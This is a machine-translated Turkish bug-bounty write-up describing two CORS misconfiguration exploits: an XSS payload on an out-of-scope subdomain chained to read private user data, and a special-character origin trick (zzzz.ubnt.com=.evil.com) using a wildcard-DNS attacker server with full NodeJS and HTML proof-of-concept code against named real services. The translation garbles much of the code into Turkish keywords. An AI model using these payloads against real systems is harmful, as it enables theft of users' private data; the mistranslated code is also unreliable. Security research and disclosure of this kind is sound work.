Selam millet! Ben Faslı bir güvenlik araştırmacısı Ayoub. Bu makalede, CORS yanlış yapılandırma istismarlarının iki durumunu tanıtacağım: ilk durum XSS'ye, ikinci durum ise gelişmiş CORS kullanım tekniklerine dayanmaktadır.
Not: Bu makaleyi okumaya başlamadan önce, CORS'un ne olduğu ve yanlış yapılandırma güvenlik açıklarından nasıl yararlanılacağı konusunda temel bir anlayışa sahip olmanız gerekir. İşte okuyabileceğiniz ve öğrenebileceğiniz çok iyi makaleler:
Portswiggerın Yayını
Geekboyun Gönderisi
İlk durum
Savunmasız uç nokta
Yaklaşık bir yıl önce, HackerOne'ın özel bir projesine katıldım. HTTP isteğinde Origin başlığını kullandıktan sonra, bir etki alanı beyaz listesi kontrolü yapıp yapmadıklarını belirlemek için sunucu yanıtını kontrol ettim.Sonunda, uygulamanın mevcut olmayan alt alan adlarını bile beyaz listeye aldığını gördüm. .
Gizlilik koruması ve sorumlu ifşa politikası için, burada web uygulamasının şu adreste barındırıldığını varsayıyorum: www.redacted.com
Bu CORS yapılandırma hatası aşağıdaki gibi görünür:
HTTP isteği
GET / api / dönüş HTTP / 1.1 Barındırıcı: www.redacted.com Menşei: evil.redacted.com Bağlantı: kapatHTTP yanıtı
HTTP / 1.1200 Tamam Erişim denetimi izin verme kimlik bilgileri: doğru Erişim denetimi izin kaynağı: evil.redacted.comBu API uç noktası, kullanıcının tam adı, e-posta adresi vb. Gibi özel bilgilerini döndürür.
Bu yanlış yapılandırmayı kötüye kullanmak ve kullanıcıların özel bilgilerini sızdırmak gibi saldırılar gerçekleştirmek için, terk edilmiş bir alt alan adı (alt alan adı devralma) beyan etmemiz veya mevcut alt alan adlarından birinde XSS bulmamız gerekir.
Kapsamın dışında düşünmek
Terk edilmiş bir alt alan adı bulmak kolay değil, bu yüzden mevcut bir alt alan adında XSS bulmaya karar verdim. Bununla birlikte, özel programın kapsamı şununla sınırlıdır: www.redacted.com, bu da XSS'yi diğer alt alan adlarında bulmanın kesinlikle kendi kapsamında olmadığı anlamına gelir, ancak XSS ve CORS yanlış yapılandırması arasındaki bağlantı bir dereceye kadar dikkate alınmalıdır. Kapsama alanı içinde. Sağ?
Diğer alt alanlar kapsam dahilinde olmadığından, diğer bilgisayar korsanları bunları test etmeyecek, bu nedenle bu alt alan adlarında XSS bulma olasılığım çok yüksek!
Beklediğim gibi, bir saatten kısa bir süre içinde banques.redacted.com'da bir XSS buldum. Kullanılan yük şu şekilde:
https://banques.redacted.com/choice-quiz?form_banque= " > < senaryo > alert (document.domain) < /senaryo > form_cartes = 73iframestat = 1Şimdi, PoC oluşturma ve bir rapor gönderme zamanı!
Üreme kullanın:
Bu CORS yapılandırma hatası güvenlik açığından yararlanmak için, yalnızca yük uyarısını (document.domain) aşağıdaki kodla değiştirmemiz gerekiyor:
function cors () { var xhttp = new XMLHttpRequest (); xhttp.onreadystatechange = function () { eğer (this.status == 200) { alert (this.responseText); document.getElementById ("demo"). innerHTML = this.responseText; } }; xhttp.open ("GET", "https://www.redacted.com/api/return", doğru); xhttp.withCredentials = true; xhttp.send (); } kors ();bunun gibi:
https://banques.redacted.com/choice-quiz?form_banque= " > < senaryo > function% 20cors () {var% 20xhttp = new% 20XMLHttpRequest (); xhttp.onreadystatechange = function () {if (this.status == 200) alert (this.responseText); document.getElementById ("demo"). innerHTML = this.responseText}}; xhttp.open ("GET", "https://www.redacted.com/api/return", doğru); xhttp.withCredentials = true; xhttp.send ()} cors (); < /senaryo > form_cartes = 73iframestat = 1Şimdi çok kullanışlı bir PoC'ye sahibiz:
ödül
Şimdi, size eski olduğu iddia edilen mevcut alt alan adlarında veya alt alan adlarında XSS bulmadan yine de sorunu kötüye kullanabileceğinizi söylersem?
İkinci durumda tartışacağımız tam olarak budur.
İkinci durum
Savunmasız uç nokta
Bu sefer görevim Ubnt programı, özellikle bu web sitesinde barındırılan uygulama: https://protect.ubnt.com/
Aynı işlemi takiben, önceki duruma benzer şekilde CORS yapılandırma hatasını belirledim, ancak bu sefer uygulama kullanıcının özel bilgilerini başka bir konumdan alıyor ve bir API şu adreste barındırılıyor: https://client.amplifi.com/ api / kullanıcı /
Bu uygulama aynı zamanda var olmayan alt alanlar da dahil olmak üzere tüm alt alanları beyaz listeye alır.
Bu tür bir yanlış CORS yapılandırmasını kötüye kullanmak için, önce terk edilmiş bir alt etki alanı bildirmeniz veya mevcut bir alt etki alanında XSS bulmanız gerekir.
Bu geniş kapsamlı bir genel proje olduğu için (tüm alt etki alanları kapsam dahilindedir); bu nedenle, XSS bulma olasılığı çok daha azdır ve alt etki alanı devralma güvenlik açıklarından söz edilmez.
Peki yapabileceğimiz hiçbir şey yok mu?
Gelişmiş CORS kullanım teknolojisi
Görünüşe göre başka bir yol var, ancak belirli koşulları karşılaması gerekiyor.
Burada ilginç bir çalışma bulunabilir. Ekran, alan adında özel karakterler kullanılarak hatalı şekilde uygulanan bazı kontrolleri atlayabilir.
Araştırma, tarayıcının bir talepte bulunmadan önce alan adını her zaman doğrulamaması gerçeğine dayanmaktadır. Bu nedenle, belirli özel karakterler kullanılıyorsa, tarayıcı şu anda, alan adının geçerli olup olmadığını ve var olup olmadığını doğrulamadan isteği gönderebilir.
Misal
Http: //asdf`+=.withgoogle.com gibi özel karakterler içeren bir URL açmaya çalışalım. Çoğu tarayıcı, herhangi bir talepte bulunmadan önce alan adını doğrulayacaktır.
Withgoogle.com alan adı, joker karakterli DNS kayıtlarına sahip olduğu için gösteri olarak kullanılır.
Krom:
Firefox:
Safari:
Gördüğünüz gibi Safari bir istisnadır, aslında bir istek gönderir ve diğer tarayıcılardan farklı olarak sayfayı yüklemeye çalışır.
Yazdırılamayan karakterler de dahil olmak üzere çeşitli farklı karakterler kullanabiliriz:
, '";! $ ^ * () + =` ~ -_ = | {}% // yazdırılamayan karakterler % 01-08,% 0b,% 0c,% 0e,% 0f,% 10-% 1f,% 7fEk olarak, Davide Danelon burada bulunabilecek başka bir çalışmayı tamamlayarak, bu özel karakterlerin diğer alt kümelerinin başka tarayıcılarda da kullanılabileceğini gösterdi.
Bunu öğrendikten sonra, aşağıdaki kullanım bağlantısıdır. Güvenlik açığı bulunan web uygulamasına geri dönelim: https://client.amplifi.com/
yeni yöntem
Bu durumda, web uygulaması aşağıdaki Origin * .ubnt.com! .Evil.com adresini de kabul eder.
Yalnızca "!" Değil, aynı zamanda aşağıdaki karakterler:
* .ubnt.com! .evil.com * .ubnt.com ".evil.com * .ubnt.com $ .evil.com * .ubnt.com% 0b.evil.com * .ubnt.com% 60.evil.com * .ubnt.com.evil.com * .ubnt.com'.evil.com * .ubnt.com (.evil.com * .ubnt.com) .evil.com * .ubnt.com * .evil.com * .ubnt.com, .evil.com * .ubnt.com; .evil.com * .ubnt.com = .evil.com * .ubnt.com ^ .evil.com * .ubnt.com`.evil.com * .ubnt.com {.evil.com * .ubnt.com | .evil.com * .ubnt.com} .evil.com * .ubnt.com ~ .evil.comArtık bazı tarayıcıların (Safari gibi) özel karakterlere sahip URL'leri kabul ettiğini bilmelisiniz, örneğin: https: //zzzz.ubnt.com=.evil.com
Bu nedenle, bir etki alanı ayarlamak için joker karakterli DNS kayıtları kullanırsak: evil.com, tüm alt etki alanlarının (* .evil.com) www.evil.com'u işaret etmesine izin verirsek, www.evil.com/cors-poc'a benzer olacaktır. Sayfada bir komut dosyası barındırılır ve sayfa, alt alan adından başlayarak savunmasız uç noktaya bir alanlar arası istek gönderir.
Ardından, kimliği doğrulanmış bir kullanıcıyı bağlantıyı açmaya zorlarız: https: //zzzz.ubnt.com=.evil.com/cors-poc
Teorik olarak, bu kullanıcının özel bilgilerini sızdırabiliriz.
Üreme kullanın:
1. Öncelikle, joker karakterli DNS kayıtlarıyla bir etki alanı ayarlayın ve onu makinenize yönlendirin. Bu örnekte, etki alanımı barındırmak için GoDaddy kullanıyorum. Yapılandırma aşağıdaki gibidir:
2. NodeJS'yi kurun, yeni bir dizin oluşturun ve aşağıdaki dosyaları içine kaydedin:
serve.js
var http = required ('http'); var url = gerekli ('url'); var fs = gerekli ('fs'); var bağlantı noktası = 80 http.createServer (function (req, res) { eğer (req.url == '/ cors-poc') { fs.readFile ('cors.html', function (err, data) { res.writeHead (200, {'İçerik Türü': 'metin / html'}); res.write (veri); Yeniden gönder(); }); } Başka { res.writeHead (200, {'İçerik Türü': 'metin / html'}); res.write ('senden asla vazgeçmeyeceğim ...'); Yeniden gönder(); } }). listen (bağlantı noktası, '0.0.0.0'); console.log (`$ {port} bağlantı noktasında hizmet veriyor`);3. Aynı dizine aşağıdakileri kaydedin:
cors.html
< ! DOCTYPE html > < html > < baş > < Başlık > CORS < /Başlık > < / kafa > < body onload = "cors ();" > < merkez > cors kavram kanıtı: < br > < br > < textarea rows = "10" cols = "60" id = "pwnz" > < / textarea > < br > < / div > < senaryo > function cors () { var xhttp = new XMLHttpRequest (); xhttp.onreadystatechange = function () { eğer (this.readyState == 4 this.status == 200) { document.getElementById ("pwnz"). innerHTML = this.responseText; } }; xhttp.open ("GET", "https://client.amplifi.com/api/user/", doğru); xhttp.withCredentials = true; xhttp.send (); } < /senaryo >4. Aşağıdaki komutu çalıştırarak NodeJS sunucusunu başlatın:
node serve.js5. Şimdi, https://protect.ubnt.com/ adresinde oturum açın ve hesap bilgilerinizi uç noktadan alıp alamayacağınızı kontrol edin: https://client.amplifi.com/api/user/
6. Son olarak, Safari tarayıcısındaki bağlantıyı açın: https: //zzzz.ubnt.com=.evil.com/cors-poc.
Örneğimde, bir Mac bilgisayarım olmadığı için PoC olarak iPhone'daki Safari tarayıcısını kullanıyorum.
ödül
sonuç olarak
Hacker One'da bu tür CORS yanlış yapılandırması hakkında birçok rapor bulabileceğinize inanıyorum, ancak raporlarında PoC olmadığı için yalnızca birkaç kişi bunu tam olarak kullanabilir. Bu, deneyimlerimi paylaşmamın nedenlerinden biri ve aynı zamanda bu tür güvenlik açıklarından yararlanan diğer teknikleri vurguluyor.
Son olarak, kapsamın dışında düşünmenin size başarı getirebileceğini daima unutmayın.
Okuduğunuz için teşekkürler! Twitter'da https://twitter.com/sandh0t beni takip etmeye hoş geldiniz.
Referanslar
Portswigger makalesi
Geekboy makaleler
Corben Leo ile ilgili araştırma
Davide Danelon ile ilgili araştırma
* Referans kaynağı: FB editör sekisti tarafından derlenen araç, FreeBuf.COM'dan yeniden üretilmiştir